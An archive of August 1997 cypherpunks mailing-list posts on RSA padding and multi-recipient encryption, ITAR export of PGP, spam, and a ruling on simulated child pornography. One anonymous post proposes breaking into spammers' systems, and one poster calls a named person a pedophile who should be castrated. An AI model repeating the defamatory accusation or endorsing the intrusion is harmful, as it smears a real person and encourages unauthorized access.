Message-ID: <Pine.SOL.3.91.970813114241.1953A-100000@hardy>
MIME-Version: 1.0
Content-Type: text/plain



Actually i've tried to killthis thread by suggesting this in as in 
appropiruate forum for this but they insist on posting back

Jason





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 13 Aug 1997 23:57:37 +0800
To: amp@pobox.com
Subject: Re: Encrypting same data with many keys...
In-Reply-To: <Chameleon.871421963.amp@ampugh.mcit.com>
Message-ID: <Pine.SUN.3.96.970813115105.7599F-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 12 Aug 1997 amp@pobox.com wrote:

> So would that then be a possible weakness in encrypting to multiple 
> recipients with PGP? Probably not, since the actual data is encrypted with 
> idea.

Welp, since the RSA (or now DH) is used to encrypt a random session key
it's not an issue (from what other replies I've seen.)  Right?


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Wed, 13 Aug 1997 18:17:17 +0800
To: mark@unicorn.com
Subject: Re: HIP hip hooray
Message-ID: <199708130952.LAA17846@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



 A million monkeys operating under the pseudonym 
 "Mark Grant <mark@unicorn.com>" typed:
>
> Hey, Zooko! You were the only Cypherpunk who made the article in the
> 'Independent' (by that blonde reporter who was wandering around), though
> Lucky Green was mentioned by name.


Wow.  Oh how the mighty have fallen, from an adulatory spread 
in Wired to a mention in The Independent.  And to think that 
Lucky was the fellow who was supposed to get the most benefit 
from the situation in the first place!


> '"[hacking] can be a wonderful thing", explained Zooco, a member of the
> CypherPunks. "Pretty much every useful aspect of modern computing was
> devised by hackers -- like the Internet and email."'
> 
> So did she spell your name wrong, or were you using a pseudonym ;-) ?


I sound like an idiot, so I'm glad she mispelled my name.


Also that's a pretty darn loose quote.  The "--" there, for 
example, spans several sentences of conversation...


Did the article print her e-mail address?


Thanks,

Z





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Wed, 13 Aug 1997 18:14:06 +0800
To: cypherpunks@toad.com
Subject: I am not a cracker
Message-ID: <199708131004.MAA18514@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




Several journalists have approached me at HIP and afterwards 
for quotes about cracking.  It is interesting that merely by 
showing up at HIP and by having a suspiciously pseudonym-like 
name (hey, my parents were inspired by New Age psychology or 
something, okay?) I have apparently gained the instant 
reputation of being into cracking.


So in case any journalists out there were considering asking me
how to crack Tamagotchis (I kid you not-- that was the topic):

I work in computer security.  I devise systems.  I write code.
I examine systems for weaknesses.  I test systems.  But I don't
crack.  The last time I wrote a Trojan log-in screen was in 9th
grade.  When I made a phone call at HIP I used my pre-paid 
phone card instead of using the cracked phone booth for free. 
I pay for most of my software, other than Microsoft operating 
systems.



So look elsewhere for your cracker quotes.


Sincerely,

Zooko, Journeyman Hacker





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 13 Aug 1997 18:29:59 +0800
To: cypherpunks@toad.com
Subject: Autoresponder Crypto Export / Re: Fuck the usenet cabal
Message-ID: <199708131019.MAA07324@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:

> Now, suppose some non-US person sets up an auto-responder that sends out
> strong crypto software, and another non-US person requests it and gets it.

  How about hacking spammer's systems and setting them up so that
their autoresponders send out copies of strong crypto?
  Everyone in the world would have a copy within days.

  Make the enemy your best friend.

Sun Tzu





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 13 Aug 1997 18:30:43 +0800
To: cypherpunks@toad.com
Subject: Re: The BIG Lie (Jesus Confesses)
Message-ID: <199708131023.MAA07806@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Patrick Oonk wrote:

> But hey, I just killfile everyone that discusses religion :)

  Your last two posts discuss religion.
  Killfile yourself!

KillFileMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Wed, 13 Aug 1997 18:57:17 +0800
To: dlv@bwalk.dm.com
Subject: journalism, travel and manufacturing
Message-ID: <199708131033.MAA00102@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




 A million monkeys operating under the pseudonym 
 "Dr. Dmitri Vulis, KOTM <dlv@bwalk.dm.com>" typed:

> Do drop by whenever you're in NYC. :-)


I appreciate the invitation.  I'll be sure to do so when I'm in
NYC.


In other news, I made some t-shirts at HIP.  On the front they
have an excerpt of an e-mail message looking something like 
this:


  From: Stan <wallace@netvertisement.com>
  To: Winston <1072SmithW@citizenunits.org>
  Subject: MAKE FREEDOM FAST!!!

  "I may disagree with every spam you send,
   but I will defend to the death your right
   to send it."

                      -- Voltaire


On the back they have the following slogans:


                MAKE FREEDOM FAST!!!

                  Spam is Speech.

              Censorship is Censorship.


And at the hem there is the legend: 


   This is: AN OFFICIAL SPAM DEFENSE T-SHIRT
   Manufactured at: HIP, 1997
   By: Zooko Industries





I gave one shirt to Alex de Joode and one to Joichi Ito, and 
I kept one for myself.  That leaves one, which I originally 
intended to snail mail to Dr. Dmitri M. Vulis, KOTM.  But if 
you don't want it then I'll auction it off via cypherpunks.  
(Currencies accepted will include PGP-signed letters stating 
your undying adoration of and loyalty to Zooko.)


Regards,

Zooko





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 13 Aug 1997 18:56:25 +0800
To: cypherpunks@toad.com
Subject: Re: Diffie-Hellman
Message-ID: <199708131047.MAA10062@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy Maypole styles his facial hair to look more like pubic hair.

_  O     O  _
 \-|-\_/-|-/  Timothy Maypole
  /^\   /^\
 ^^ ^^ ^^ ^^





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Wed, 13 Aug 1997 21:05:44 +0800
To: nobody@neva.org (Neva Remailer)
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708131227.HAA13732@dfw-ix10.ix.netcom.com>
Message-ID: <199708131251.OAA04072@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



> 
> 
> 
> Patrick Oonk wrote:
> > 
> > Is this what the cypherpunks list has become ? Discussions about religion ?
> 
>   We killed this thread but after three days it rose again.
> 
> > If so, I am out of here...
> 
>   Don't let lightning strike you in the ass on your way out.

At least I don't hide behind a remailer.

-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Wed, 13 Aug 1997 23:42:12 +0800
To: cypherpunks@Algebra.COM
Subject: Re: journalism, travel and manufacturing
In-Reply-To: <199708131033.MAA00102@xs2.xs4all.nl>
Message-ID: <9708131534.AA14274@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



> I kept one for myself.  That leaves one, which I originally 
> intended to snail mail to Dr. Dmitri M. Vulis, KOTM.  But if 
> you don't want it then I'll auction it off via cypherpunks.  

Anyone auctioning off one of those way cool C2Net t-shirts? They were
already out when I arrived at the cypherpunks tent at Saturday night,
and I desperately need one. :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 13 Aug 1997 20:51:15 +0800
To: cypherpunks@toad.com
Subject: Re: Fuck the usenet cabal
In-Reply-To: <87scBe10w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970813182619.706A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 12 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> I came up with yet another brilliant idea.

You know doing that is dangourous.

> Stanford Wallace's Cyberpromo site has been hacked by some criminals, but
> it's coming back.  In particular, he's giving away free autoresponders again.

If we can aggarnge an anon autoresponder.  Knowing the way Standford
opperates this will not be hard.

> (An autoresponder is an address@cyberpromo.com to which you can send an
> e-mail and get back a pre-recorded response,

The only problem is that he may be using it for email collecting
persoposes.

> Now, suppose some non-US person sets up an auto-responder that sends out
> strong crypto software, and another non-US person requests it and gets it.
> 
> Is anyone going to be guilty of ITAR violations?

Well if thay can't trace it back to the person who put it on the system
thay will go after the system itself.  US goverment VS Standfor Wallus,
who ever looses We win.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM/Fwn6QK0ynCmdStAQFZYQQAq0KTJ+QU/7suf5MyPozcYDiezrljRCFJ
8uWFPjxTNSXhVR0nwpZKhOO1hub/2LwK+n4njS79ngCDD0adC9of9ecoSgvrneeT
qySrKDafhEKcGS3aZ3RtwsGgWPB2lmWTIJULzj279+yWbSDV6x1nJrnSomZsT9qZ
Mgn04ILdUu4=
=1BLo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 14 Aug 1997 02:28:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: A peculiar notion
In-Reply-To: <Pine.SOL.3.95.970812220443.14307C-100000@viper.law.miami.edu>
Message-ID: <19970813111221.19398@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Aug 13, 1997 at 11:00:35AM -0400, nospam-seesignature@ceddec.com wrote:
[...]
> 
> If the southern states "didn't do it right", what is the right way to
> seceed from the united states?  And can it be done when the leadership is
> acting as tyrants?

You might find

	http://www.hawaii-nation.org

an interesting site...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Thu, 14 Aug 1997 03:15:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Leotards and the Law," morphed child porn lawsuit, from Netly
In-Reply-To: <Pine.GSO.3.95.970813080755.18129D-100000@well.com>
Message-ID: <19970813190543.25186.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Declan writes:

>         Take an erotic photo of an adult and alter it in Photoshop to
>    look as though he was a minor. Would you be breaking the law? A
>    federal judge in San Francisco ruled yesterday you would be, rejecting
>    a court challenge to a 1996 law banning computer-generated erotic
>    images that "appear" to be of children.

1930's:  "Actung Juden!"
1950's:  "Actung Communists!"
1990's:  "Actung Photoshop Users!"

Of course this is just another example of how quickly the Constitution can
be made to evaporate when the Mantra "Society's Overwhelming Interests" is
recited in the courtroom.  Often over silly thought-control type issues
like this one. 

It won't be long before "Society's Overwhelming Interest" to Protect the
Little Children(tm) bans not only simulated visual material, but any
juxtiposition of English words which might suggest that anyone under the
age of 18 in the past, present, or future, has had even the slightest
inkling of a sexual thought or feeling.  Said laws of course being
absolutely necessary to prevent bad ideas from being used by clever
predators to break down innocence and purity and reduce all children to
sexually aroused putty in the hands of professional sex criminals.

I wonder exactly how far child sex hysteria will be permitted to continue,
before rational people begin giggling loudly in the auditorium. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 14 Aug 1997 04:27:29 +0800
To: cypherpunks@toad.com
Subject: Re: journalism, travel and manufacturing
In-Reply-To: <9708131534.AA14274@public.uni-hamburg.de>
Message-ID: <0gyDBe3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=) writes:

> 
> > I kept one for myself.  That leaves one, which I originally 
> > intended to snail mail to Dr. Dmitri M. Vulis, KOTM.  But if 
> > you don't want it then I'll auction it off via cypherpunks.  
> 
> Anyone auctioning off one of those way cool C2Net t-shirts? They were
> already out when I arrived at the cypherpunks tent at Saturday night,
> and I desperately need one. :)
> 
A T-shirt saying, "I got barratrous threats from C2Net's shysters after a
C2Net employee squelched my attempt to discuss the security flows in their
product"?  I'd like one too, thank you.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 14 Aug 1997 12:58:17 +0800
To: Mike Duvos <cypherpunks@cyberpass.net
Subject: Re: "Leotards and the Law," morphed child porn lawsuit, from Netly
In-Reply-To: <Pine.GSO.3.95.970813080755.18129D-100000@well.com>
Message-ID: <v03102803b017cc706f1a@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:05 PM -0700 8/13/97, Mike Duvos wrote:
>Said laws of course being
>absolutely necessary to prevent bad ideas from being used by clever
>predators to break down innocence and purity and reduce all children to
>sexually aroused putty in the hands of professional sex criminals.

Are any sex criminals professional, that is get paid?  If so, where do I
apply ;-)

>
>I wonder exactly how far child sex hysteria will be permitted to continue,
>before rational people begin giggling loudly in the auditorium.

One need only look to the Salem witch trials for the answer.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Thu, 14 Aug 1997 06:51:33 +0800
To: nospam-seesignature@ceddec.com
Subject: Re: Encrypting same data with many keys...
In-Reply-To: <97Aug13.172635edt.32257@brickwall.ceddec.com>
Message-ID: <Pine.LNX.3.95.970813150821.21950A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 13 Aug 1997 nospam-seesignature@ceddec.com wrote:

> > Would it not make sense to scatter the random padding throughout the
> > block?   How is this normally done?  Front?  Back?  Middle?  Scattered?
> 
> The location does not matter.  The standard RSA libs place the padding at
> the front - it is one of those PKCS specifications.

Actually it does matter.  At the front is best with a chaining cypher.
(The random padding will cascade down through the rest of the data.)  With
adding it on the end, given all other factors being the same, the data
before the random padding will be the same as well.

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 14 Aug 1997 03:18:05 +0800
To: tzeruch@ceddec.com
Subject: Re: Encrypting same data with many keys...
In-Reply-To: <97Aug13.114455edt.32260@brickwall.ceddec.com>
Message-ID: <Pine.SUN.3.96.970813145505.7599M-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 13 Aug 1997 nospam-seesignature@ceddec.com wrote:

> PGP uses and E of 17 by default, but it would be a problem except that
> there is a specification for random padding, so it *NEVER* encrypts
> identical plaintext.  It always uses a number just a few bits shorter than 
> N, starting with 0x02, then nonzero random bytes, then a zero byte, and
> finally the message bytes you want to encrypt.
> 
> There was a man-in-the-middle or replay attack with SSL that they changed
> the spec of the padding slightly (8 bytes before the zero byte must be
> 0x03), I think this is because you might be able to quickly find a random
> cyphertext that decrypts to having a zero byte followed by something
> useful as key material, but haven't read the details. 

In terms of padding does it matter WHERE I put the padding info?  Is it
better to put random stuff in the front or at the end?  The reason I ask,
say that you're going to encrypt an N byte block where N is bigger than
your block cypher's key size?

If my intution is correct, and you have the same data encrypted with many
keys (even RSA) but have the padding at the end, the 1st block would still
be breakable.  I suppose putting the data at the end would also result in
the same kind of problem, though it might be a bit harder to attack than
putting the data 1st...

Would it not make sense to scatter the random padding throughout the
block?   How is this normally done?  Front?  Back?  Middle?  Scattered?


These are some of the same thought threads that I went through when I
designed WhiteNoiseStorm - (Do a net search for WNS210.ZIP for more info
on it.)  Basically, this cypher uses random block sizes called windows-
(it's more of a stream cypher at the input, but a block cypher at the
output) and mixes random noise with the data.  The bits it hides in the
ramdom noise source are scattered throughout the window AND encrypted.  It
turns out this is useful for stego use and that's what it turned into.
But this may be another use for it...

Since an attacker doesn't know the window size and since the window size
varries randomly from window to window, it's very hard for the attacker to
use known or chosen plaintext attacks.  If you encrypt the same data N
times, you get N different cyphertexts.

It's never been cryptanalized (far as I know - could be the spooks have
done so already) so its strength is unknown...  But I suppose using
something like WNS would be ideal for encrypting the same data with
different keys...

The big disadvantages though: you need a really good source for random
numbers and the size of the cyphertext is much much bigger than the
plaintext... anywhere between 1.5 to 10X depending on the security level
you chose. :)  (And it's a symmetric key cypher, CBC only...  If I can
figure out a way to turn it into a PK system, it would really be
usefull...) 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 14 Aug 1997 08:22:49 +0800
To: cypherpunks@toad.com
Subject: Responses to "Leotards and the Law," from The Netly News
Message-ID: <Pine.GSO.3.95.970813161112.10661Z-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 13 Aug 1997 16:11:04 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Responses to "Leotards and the Law," from The Netly News

My own reading of the opinion is that Judge Conti doesn't address the most
interesting aspect of this law, for instance the case of the South Pacific
researcher who wants to create a sexplay animation. To the extent he does,
he substitutes assertion from the Senate report for analysis (I agree with
Prof. Freedman here). He didn't have to go further, really, since the
plaintiffs explicitly said they weren't selling such animations. Conti
only explores this idea in a footnote, which reads:

  "These incidental harms include the depiction of images created within
  the imagination of the artist. If the images depicted are of children,
  albeit imaginary ones, and not of actual adults of imaginary people who
  unequivocally appear to be adults, then the evils associated with child
  pornography cannot be avoided."

This discussion of the imagination of artists strikes me as telling.
You see, Judge Conti would like to ban thoughtcrime.

-Declan

---

Date: Wed, 13 Aug 1997 18:19:08 -0400 (EDT)
From: David Greene <dgreene@artswire.org>
To: declan@well.com
Subject: Re: FC: "Leotards and the Law," morphed child porn lawsuit, from Netly

I read Judge Conti's decision to be more consequential than Professor
Freedman does.  Three of its features are particularly disturbing to me:

1.  Judge Conti held that the law is content-neutral.  As the law is
targeted directly and very specifically against the content of the
depictions, I don't buy his "secondary effects" reasoning (that is, the law
is meant to prevent the unavoidable secondary effects of simulated child
pornography -- namely, the seduction of children into pedophilic situations
-- not the simulated images themselves).  The result of Conti's finding is
that the law was subject to less demanding scrutiny than it owuld have been
had it been found to be content specific.

2.  Judge Conti notes that the statute sweeps within its reach "the
depiction of images created within the imagination of the artist" that are
"of children, albeit imaginary ones."  He acknowledges that the
illegaliztion of these depictions is an unavoidable incidence of the fight
against child pornography.  To me then, not only are Photoshop-synthesized
images of half-naked children and an anthropology professor's
computer-generated movie of the sex play of South Pacific teens be illegal
but so would less realisitic depictions such as cartoons or paintings and
various types of computer art.  Conti tries to bail on this later when he
talks about the affirmative defense written into the statute that exempts
works not marketed as child pornography or in such a way that exploits its
sexual nature as child pornography.  However, this affirmative defense is
avialable only to works that were produced using an actual adult person.

3.  With respect to images of youthful-looking adults, Conti relies heavily
on the affirmative defense as curing any constitutional ills the statute
might otherwise have had.  However, is it really clear when something is
marketed "in such a manner as to convey the impression that it is or
contains a visual depiction of a minor engaging in sexually explicit
conduct"?  Is the affirmative available to anything that does not call
itself KidSeXXXX (or the like)?  It still seems vague to me.

The opinion seems to criminalize serious works that will use real adults or
simulated (computer generated, drawn, etc) children to depict pedophilic
situations in order to discuss pedophilia and admit that that is what they
contain.   Lolita?  A Human Sexuality text book?  National Geographic?

The Supreme Court in the Ferber case and those that followed it was
especially concerned with the harm caused to children that participated in
the production of child pornography (or identifiable children who were made
to appear as though they participated).  Whether the mere viewing of child
pornography was an equally weighty concern was a question on the outside of
the constitutional analysis.  Judge Conti's opinion is consequential in
that assumes that this is the central issue.

---

Date: Wed, 13 Aug 1997 17:17:44 -0500
From: jc <jch159@flash.net>
To: declan@well.com, fight-censorship-announce@vorlon.mit.edu
Subject: Re: "Leotards and the Law," morphed child porn lawsuit, from Netly

suppose somebody alters a picture of a child in an erotic pose into a
mouse, lets say. Or the lower half is of a mouse but the top half a child?
is the person still liable?
suppose a dog looks vaguely like its human owner (hey, there are even
contests to that effect) and the dog is eating the leg of another human.
Would the human most closely resembling the dog be in trouble?
thank god there are judges out there like conti who will save us.
Stupid prick that he is!

---

Date: Wed, 13 Aug 1997 14:25:54 -0700 (PDT)
From: Joe Shea <joeshea@netcom.com>
To: declan@well.com
Subject: Law limiting child pornography on Internet upheld (fwd)


	This decision seems, on a preliminary reading. to validate the 
views of those of us who say that existing laws are sufficient to 
prosecute child pornography violations that appear on the Internet.

Best,

Joe Shea
Editor-in-Chief
The American Reporter
joeshea@netcom.com
http://www.newshare.com:9999


---------- Forwarded message ----------
Date: Wed, 13 Aug 1997 05:31:39 -0700
From: NewsHound <NewsHound@hound.com>
To: newshare@rmc1.crocker.com
Subject: Law limiting child pornography on Internet upheld



NewsHound article from "NEWSPAPERS" hound, score "92."



Law limiting child pornography on >>Internet<< upheldBY HOWARD MINTZ
Mercury News Staff Writer

A San Francisco federal judge has upheld a year-old law aimed at
restricting child pornography in cyberspace, rejecting arguments that it
violates free-speech rights and chills legitimate art and literature.

In a 16-page decision, U.S. District Judge Samuel Conti  on Tuesday found
that the Child Pornography Act of 1996 is constitutional and a valid way to
deal with the ``devastating'' effect of computer-generated kiddie porn ``on
society and the well-being of children.''

``Given the nature of the evils that anti-child pornography laws are
intended to prevent, the (law) can easily be deemed a content-neutral
regulation,'' Conti wrote.

The American Civil Liberties Union, the adult entertainment industry and
others have challenged the constitutionality of the law, saying it is so
broad that it would criminalize everything from Calvin Klein ads to the
recent movie rendition of ``Romeo and Juliet.''

[...]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 14 Aug 1997 04:32:48 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Fuck the usenet cabal
In-Reply-To: <NwLDBe17w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.96.970813161558.7599O-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 13 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> What if a non-US person paid them $40 to spam people outside the U.S.
> with strong crypto?
> 
> Is it possible to stuff a blatant ITAR violation into about 100 lines of ascii?

Already been done.  RSA in 4 lines of Perl, etc...  Heck there was even a
site out that that cut a UUENCODED copy of PGP into many bits and asked
people to grab one of the bits to use as their signature.  I.e. Part 50
out of N of PGP, etc...  Someone with huge usenet archives (or cd's) could
search for all of these outside of the USA and put them together into the
whole. :)  No need to pay someone $40 to spam when people will freely do
this.

You could also take a packet radio modem and spam short wave (or
whatever packet radio uses or can use that can get outside the usa) and
send PGP that way if you like.  Or take PGP, uuencode it and fax it
outside of the USA.  Or feed it through a voice synth and read it to
a foreign phone number that has a voice decoder, or compose it as a
MIDI song as Kent suggested and broadcast the song...  Or tatoo it on your
ass then when you visit russia have someone take a picture. :)  (Though
you might then be arrested in russia for porno or whatever the laws are
there, heheheheh....)

Don't even need to use the internet to piss off the feds. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 14 Aug 1997 08:10:11 +0800
To: cypherpunks@toad.com
Subject: Re: "Leotards and the Law," morphed child porn lawsuit, from Netly
In-Reply-To: <19970813190543.25186.qmail@zipcon.net>
Message-ID: <PP7DBe2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos <enoch@zipcon.net> writes:

> >         Take an erotic photo of an adult and alter it in Photoshop to
> >    look as though he was a minor. Would you be breaking the law? A
> >    federal judge in San Francisco ruled yesterday you would be, rejecting
> >    a court challenge to a 1996 law banning computer-generated erotic
> >    images that "appear" to be of children.

Pedophile Chris Lewis is in trouble.

> 
> 1930's:  "Actung Juden!"
> 1950's:  "Actung Communists!"
> 1990's:  "Actung Photoshop Users!"

"Achtung Spammers" is more like it.  Net.Scum ISPs oversubscribe, can't
deliver the services they charged the users for, and blame the mythical
"spammers".

> I wonder exactly how far child sex hysteria will be permitted to continue,
> before rational people begin giggling loudly in the auditorium. 

The solution is to castrate pedophiles like Chris Lewis.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 14 Aug 1997 00:13:07 +0800
To: cypherpunks@cyberpass.net
Subject: ANNOUNCE: mailing list for Eternity Service developers/users
Message-ID: <199708131536.QAA04802@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Laszlo Vecsey <master@internexus.net> has setup a mailing list for
users and developers of the eternity service.  

On topic will be development, design of improved protocols, also
design of a general distributed file system (DFS or worldFS) which
some are interested to implement based on Ross Anderson's paper `The
Eternity Service', plus issuses surrounding being an eternity
operator.

The mailing list address is "eternity@internexus.net", to subscribe
send a mail to "majordomo@internexus.net" with body:

	subscribe eternity

To submit articles to the mailing list send them to
"eternity@internexus.net".

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 14 Aug 1997 01:05:59 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Guy Polis
In-Reply-To: <4FoBBe4w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970813163859.275B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> > drunken rants are one thing, and are easily deleted, but impersonating me
> > is straight out of Detweiler's book. Must be something about Cypherpunks
> > that brings out this urge to impersonate.
> 
> Toto's drunked rants and the most valuable traffic on this mailing list
> these days - I read them and usually save them.  Tim May's censorship
> rants make him sonnd like kent Krispin.

I agree, Toto makes some of the best posts to the list, they are often 
just humurous one-liners but he also makes a lot of excellent 
observations and is very good at predicting the way things will go, as 
far as I`m concerned his posts are up there in quality with those of TCM, 
Adam Back, Dr.V, Bill Stwart, William Geiger and the other regular good 
posters.

> How do we know that Tim May didn't post the alleged forgery himself
> and didn't munge the headers to point to Toto?

Not his style (as far as I know it), but I agree there is no evidence to the 
contrary.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 14 Aug 1997 05:00:42 +0800
To: cypherpunks@toad.com
Subject: Memme: Crypto=Bullet Proof Vests
Message-ID: <Pine.SUN.3.96.970813162912.7599P-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



I came up with this while on a bio break....

ITAR classifies crypto as munitions, but this is the same thing as telling
someone who wishes to travel to a warring country that they may not buy a
bullet proof vest, but they may buy an vest that will stop pebbles being
thrown at them.  This is equivalently reasoned that such vests could be
used to rob banks and the theives could get away from the police - but how
many bank theives have you known that were shot by the cops and not caught
by other means?

It believes that only the USA has bullet proof vests and it is a matter of
national security that no one else have bullet proof vests.  These aren't
tactical weapons equivalent to 20MegaTon nukes, these are devices that
help save lives.  Meanwhile other countries have also created bullet proof
vests, some that protect against high velocity bullets.

